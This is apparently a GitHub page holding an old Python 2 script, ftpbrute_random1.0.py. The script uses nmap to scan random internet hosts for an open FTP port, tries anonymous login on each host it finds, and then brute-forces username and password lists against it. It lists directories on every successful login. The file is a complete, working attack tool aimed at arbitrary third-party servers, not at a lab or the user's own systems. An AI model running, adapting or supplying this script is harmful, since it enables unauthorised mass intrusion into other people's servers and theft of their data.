forked from tuwid/darkc0de-old-stuff
-
Notifications
You must be signed in to change notification settings - Fork 7
/
ftpbrute_random1.0.py
105 lines (88 loc) · 2.45 KB
/
ftpbrute_random1.0.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!usr/bin/python
#Uses nmap to check if ftp port is open, brute forces if it is.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import threading, time, StringIO, commands, random, sys, ftplib, re
from ftplib import FTP
from copy import copy
if len(sys.argv) !=4:
print "Usage: ./ftpbrute.py <how many to scan> <userlist> <wordlist>"
sys.exit(1)
try:
users = open(sys.argv[2], "r").readlines()
except(IOError):
print "Error: Check your userlist path\n"
sys.exit(1)
try:
words = open(sys.argv[3], "r").readlines()
except(IOError):
print "Error: Check your wordlist path\n"
sys.exit(1)
print "\n\t d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1],"hosts"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"
wordlist = copy(words)
def scan():
nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 21 | grep open -B 3')[1]).readlines()
for tmp in nmap:
ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
if ipaddr:
return ipaddr
def reloader():
for word in wordlist:
words.append(word)
def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])
else:
print "Reloading Wordlist\n"
reloader()
value = random.sample(words, 1)
lock.release()
return value[0][:-1]
class Workhorse(threading.Thread):
def run(self):
value = getword()
try:
print "-"*12
print "User:",user[:-1],"Password:",value
ftp = FTP(ipaddr[0])
ftp.login(user[:-1], value)
ftp.retrlines('LIST')
print "\t\nLogin successful:",user, value
ftp.quit()
work.join()
sys.exit(2)
except (ftplib.all_errors), msg:
print "An error occurred:", msg
pass
for x in range(int(sys.argv[1])):
print "Scanning:",x,"of",sys.argv[1]
ipaddr = scan()
if ipaddr != None:
print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
try:
f = FTP(ipaddr[0])
print "[+] Response:",f.getwelcome()
except (ftplib.all_errors):
pass
try:
print "\n[+] Checking for anonymous login:",ipaddr[0],"\n"
ftp = FTP(ipaddr[0])
ftp.login()
ftp.retrlines('LIST')
print "\t\nAnonymous login successful!!!\n"
ftp.quit()
except (ftplib.all_errors):
print "\tAnonymous login unsuccessful\n"
for user in users:
for i in range(len(words)):
if i == 0: reloader()
work = Workhorse()
work.start()
time.sleep(2)